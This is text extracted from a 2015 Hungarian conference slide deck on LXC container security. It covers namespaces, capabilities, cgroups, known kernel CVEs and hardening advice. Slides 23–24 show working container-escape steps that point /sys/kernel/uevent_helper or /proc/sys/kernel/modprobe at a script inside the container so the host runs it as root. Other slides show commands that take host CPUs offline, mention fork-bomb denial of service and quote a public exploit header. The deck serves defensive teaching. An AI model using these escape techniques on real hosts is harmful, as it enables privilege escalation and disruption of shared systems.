Andrews Kft.andrews.hu/wp-content/uploads/2015/10/andrews-fsf-2015-konternerek... · Zámbó...

Zámbó Marcell Az Andrews Kft.

131/<[email protected]>

Andrews Kft.Konténerek az IT biztonság

szemszögéből

mailto:[email protected]


231/

Röviden a virtualizációról

Az alap: egy vason, több rendszer.

Virtualizáció előnyei: Jobb erőforrás kihasználhatóság. Rendkívüli rugalmasság

új létrehozása, meglevő módosítása, másolása (clone), törlése, stb ...

Virtualizáció fajtái: Hypervisor alapú Operációs rendszer alapú igen, ők a konténerek← Alkalmazás alapú


331/

Egy kis konténer történelem ...


431/

Egy kis konténer történelem ...


531/

Virtualizációs tipúsokról vizuálisan :)


631/


Hardver

Host OS kernel

Processz Processz Processz

Normál működés esetén

NET IPC USR


731/


Hardver

Host OS kernel



NET IPC USR

Virtuális gépek esetén

Hardver

VM (processz) VM (processz)

Guest Kernel


Guest Kernel

Processz Processz ProcesszProcessz

Host OS kernel

NET IPC USR

NET IPC USR NET IPC USR

Virt HW Virt HW


831/


Processz

Hardver

Host OS kernel



NET IPC USR


Hardver


Guest Kernel


Guest Kernel


Host OS kernel

NET IPC USR


Virt HW Virt HW


931/


Hardver

Host OS kernel



NET IPC USR


Hardver


Guest Kernel


Guest Kernel


Host OS kernel

NET IPC USR


Virt HW Virt HW


1031/


Hardver

Host OS kernel

Processz Processz

Konténerek használata esetén


Hardver

Host OS kernel



NET IPC USR


Hardver


Guest Kernel


Guest Kernel


Host OS kernel

NET IPC USR


Virt HW Virt HW


1131/

Hypervisor vs Containers

Teljes hardver környezetet emulál: HW támogatás szükséges A host szempontjából a guest

csak 1 processz Host-tól független kernelt,

OS-t is képes futtatni Költségesebb a futtatása Felépítéséből eredően

biztonságosabb

A szükséges alrendszereket példányosítja csak: Nincs speciális HW igény A host szempontjából minden

futtatott alkalmazás processz egyedi processz

Felépítéséből eredően kicsi az overhead

Az összes guest alatt ugyanaz a kernel fut


1231/

Az LXC biztonsági elemzése


1331/

Linux-os konténerek felépítése

Két fő részből tevődnek össze Namespace-ekből, feladatuk a példányosítás megvalósítása, fajtái:

Chroot/pivot_root … az elsők. MOUNT_NS Fájlrendszer (VFS) csatolásokra vonatkozó ns UTS_NS A hostnév névtérét fele. (a konténerünknek eltérhet a neve a hosttól) IPC_NS SHM, semaphores, message queues szerparációját valósítja meg USER_NS UID/GID-ek virtuális megfeleletetésér felel, a konténeren belül lehetnek

saját uid-ek és gid-ek ( - ebben volt egy nagyon csúnya bug, !0 0)→ PID_NS a konténeren belül saját PID névtér van, hiheti magáról bármely processz

hogy ő az 1-es PID (init), külső névtér nem címezhető pid alapjánPID_NS != /proc ns (ilyen nincs is ...)

NET_NS Teljes hálózati stack ...

Cgroups-okból – erőforrások korlátozása cpuset, cpu, cpuacct, freezer, memory, blkio és devices erőforrás csoportok

Egyéb: Capabilitik


1431/

Chroot

Rendszerhívás ill. a rá épülő segéd alkalmazás

(csak) fájlrendszer szintű szeparációt valósít meg a hívó process és leszármazottai számára

Ha nem megfelelően hívjuk akkor még fs szinten sem biztonságos

Karbantarthatóság?

/

/var /lib /etc

/var/www

/var

.../www/cgi

/var/www/

.../www/html

chdir(/var/www)chroot(.)


1531/

Namespace-ek tulajdonságai

Chroot (hierarchikus)

Network (izolált)

Mount (izolált/klónozható)

PID (hierarchikus)

UTS/Hostname (izolált)

UID (hierarchikus)

IPC (izolált)

A szülő láthatja a gyerek erőforrásait

Többféle családfa lehetséges.Izolált NS-ek, nincs kapcsolat

Bővebben: http://doger.io

http://doger.io/


1631/

Capability-k

A monolitikus root jog szétvált „capability”-kre

Ezek eldobhatóvá váltak, csak azt tartjuk meg ami valóban kell a programunk számára

Nem 0 uid is birtokolhatja

Parancsok: capsh, man 7 capabilities

Fontosabb capability-k:

cap_audit_(write|control)

cap_(mac|net|sys)_admin

cap_kill

cap_linux_immutable

cap_set_*

cap_sys_(chroot|module)

3.6.9-es kernelben 37 van


1731/

C(ontrol)groups

Erőforrás limitáció

Processz priorizálás

Accounting: az egyes erőforrások használatának mérésére

Kontroll: az egyes cgroup-ok leállítása, és újraindítása

Parancsok: man cgcreate

Szabályozható erőforrások:

CPU

Memória

Block device-ok elérési sebessége

Freezer alrendszer*

Hálózati sávszélessére nem nyújt megoldást, arra marad a tc


1831/

Hiányosságok és gyengeségek


1931/

Hiányosságok, gyengeségek ...

A leggyengébb láncszem a közös kernel (nem Linux spec.) A virtualizált processzek közvetlenül a host kernellel állnak

kapcsolatban Egy kernel bugra épülő exploit visz mindent Hypervisor alapú sebezhetőségénél, ez többnyire csak az adott

guest-et viszi

/proc – mínusz PID_NS, /sys Pl: /proc/sys/vm/drop_cache, /proc/sysrq-trigger és társai echo 0 | tee /sys/devices/system/cpu/cpu*/online – ue memory-val

[409388.207773] kvm: disabling virtualization on CPU1 [409388.207790] smpboot: CPU 1 is now offline


2031/


Ulimitek Mivel a konténerekben futó processzek a host kernel számára is

valódi processzek, így az egyes processzekre vonatkozó limitek ugyanúgy érvényesek a konténerekben futó processzekre.

Fork bombázás A cgroups erőforrás korlátozó beállításai ellenére is

kellemetlenek lehetnek a fork bombák: A limitált CPU-t kihajtja („Na és?!”) A limitált MEMoriát megeszi, swappelteti a rendszert Nyitott FD-ket szépen megeszi (másnak nem marad...) DoS!→

Max user processes, open files


2131/


Audit alrendszer (3.7-es kernel óta OK, de előtte …)

A támadó az audit alrendszeren keresztül feltérképezhette a hoston és a többi konténerben futó processzeket, elég alaposan

Kmsg (dmesg) jelenleg is működik … a konténerből olvashatod a kernel üzeneteit,

támadásoknál ezek hasznosak lehetnek /proc/sys/kernel/dmesg_restrict a barátunk ilyenkor

[ http://lxr.free-electrons.com/diff/kernel/audit.c?v=3.6;diffvar=v;diffval=3.7 ]

3.6 3.7


2231/

Pivot_root / chroot

Mik ezek?

És hogyan lehet vele kitörni a konténerből vele? Chroot: This call does not close open file descriptors, and such file descriptors may allow access to files outside the chroot tree.

http://people.canonical.com/~serge/chrootintoslave/ Egy szép demonstárciója a problémának Lxc hív egy pivot_root vált rootfs-t, nyítva hagyja a kitöréshez →

szükséges fd-t lilo@hargita:~$ ps axfw | grep lxc-start -C110294 ? S 0:00 \_ lxc-start -n rr-2015082510310 ? Ss 0:00 \_ /sbin/init

lilo@hargita:~$ cd /proc; sudo ls -l 10294/root 10310/rootLrwxrwxrwx 1 0 0 0 okt 17 11:09 /proc/10294/root -> /Lrwxrwxrwx 1 0 0 0 okt 17 11:09 /proc/10310/root -> /

http://people.canonical.com/~serge/chrootintoslave/


2331/

„kitörés” a sysfs-en keresztülHa root vagy a konténerben root leszel kint is ...

root@lxc# cat /tmp/evil_helper

#!/bin/bash

set >> /tmp/alma1

date >> /tmp/alma1

root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/evil_helper > /sys/kernel/uevent_helper

root@lxc# cat /sys/kernel/uevent_helper

/var/lib/lxc/lxc/rootfs/tmp/evil_helper

root@lxc# echo change > /sys/class/mem/null/uevent

hatására lefut a /var/lib/lxc/lxc/rootfs/tmp/evil_helper


2431/

„kitörés” a procfs-en keresztül root@lxc# cat /tmp/x

#!/bin/bash

mkdir /tmp/12345alma

root@lxc# cat /proc/sys/kernel/modprobe

/sbin/modprobe

root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/x > /proc/sys/kernel/modprobe

root@telekom-vpn:/proc# iptables -t raw -nL

iptables v1.4.21: can't initialize iptables table `raw': Table does not exist (do you need to insmod?)

root@host:ls -dl /tmp/12345alma/

drw-rw---- 2 root root 40 máj 19 09:41 /tmp/12345alma/


2531/

Ismert biztonsági hibák az implementációban [7.1] CVE-2010-0006: 2.6.32.4 olyan hibát tartalmazott mely csak a network namespace használata

esetén volt támadható

[???] git:41c21e351e: talán nem exploitálható user_namespace bug ...

[7.8] CVE-2011-2189: 2.6.35 DoS network namespace-en keresztül

[7.2] CVE-2013-1858: 3.8.3 biztosan exploitálható user_namespace bug … [Lásd következő slide-on]

[2.1] CVE-2013-1956: 3.8.6 át lehetett chrootolni más (akár több joggal rendelkező) namespace-ekbe

[4.7] CVE-2013-4205: 3.10.6 user_namespace memória szivágós DoS

[6.2] CVE-2014-4014: 3.14.8 állományrendszer capabilitik segítségével ki lehetett törni a konténerekből

[7.2] CVE-2014-5206: 3.16.1 nem védett a MNT_LOCK_READONLY mount flag módosítása ellen, újra lehetett mountolni RW módban

[6.0] CVE-2014-5207: 3.16.1 a fentiek mintájára a MNT_NODEV, MNT_NOSUID, és MNT_NOEXEC valamint MNT_ATIME_MASK opciók kijátszhatóak voltak egy kis bind mountolgatás segítségével*

[4.6] CVE-2014-8989: 3.17.4 lehetővé tette a csoporttagságok módosítását ezáltal a kizáró csoport alapú ACL-ek kijátszhatóak voltak


2631/

Egy két érdekesség a hibákról

/* FUSE-based exploit for CVE-2014-5207 Copyright (c) 2014 Andy Lutomirski Based on code that is: Copyright (C) 2001-2007 Miklos Szeredi <[email protected]> This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid mkdir test ./fuse_suid test This isn't a work of art: it doesn't clean up after itself very well.*/

CVE-2014-5207 publikus exploitja

CVE-2013-1858 működése


2731/

Védelmi lehetőségekről


2831/

Védelmi lehetőségek, teendők 1.

Az alaprendszer megerősítése Pax/Grsec, Apparmor, SELinux

Szedjük szét több gépre a konténereinket, biztonsági besorolásuk szerint (akár a valódi hostok hálózati szeparációja esetében)

Konténerek megerősítése Unpriveledged Containers, kontérnerek normál userként futnak! Capabilitik megfelelő használata

Állományrendszer szintű capability-k este …

lxc.cgroup.devices lxc.cgroup.devices.deny = a # mindent tilos, lxc.cgroup.devices.allow = … # kivéve amit szabad elv alkalmazása

Minimalizálni kell a konténerben rootként futó alkalmazások számát és – ha lehet – jogait.


2931/

Védelmi lehetőségek, teendők 2.

Seccomp alkalmazása Az LXC configban van rá lehetőség és példa konfig is

A /proc és /sys mountolásának felülvizsgálata (részleges mount, RO mount)

Auditd hangolása a konténerek felügyeletére

Securebits (SECURE_NOROOT, SET_DUMPABLE) és társainak használata, man prctl :)

Cgroups-ok mellett érdemes figyelni az rlimit-ek értékeire


3031/

Hasznos biztonsági kütyük

mbox http://pdos.csail.mit.edu/mbox/

firejail https://l3net.wordpress.com/projects/firejail/

minijail https://chromium.googlesource.com/chromiumos/platform/minijail/

Olvasnivalók https://www.kernel.org/doc/Documentation/namespaces/compatibility-list.txt

https://www.kernel.org/doc/Documentation/namespaces/resource-control.txt

http://pdos.csail.mit.edu/mbox/

https://l3net.wordpress.com/projects/firejail/

https://chromium.googlesource.com/chromiumos/platform/minijail/

https://www.kernel.org/doc/Documentation/namespaces/compatibility-list.txt

https://www.kernel.org/doc/Documentation/namespaces/resource-control.txt


3131/

Vége

Köszönöm a figyelmet!

Kérdések?

Andrews Kft.andrews.hu/wp-content/uploads/2015/10/andrews-fsf-2015-konternerek... · Zámbó...

Documents

Transcript of Andrews Kft.andrews.hu/wp-content/uploads/2015/10/andrews-fsf-2015-konternerek... · Zámbó...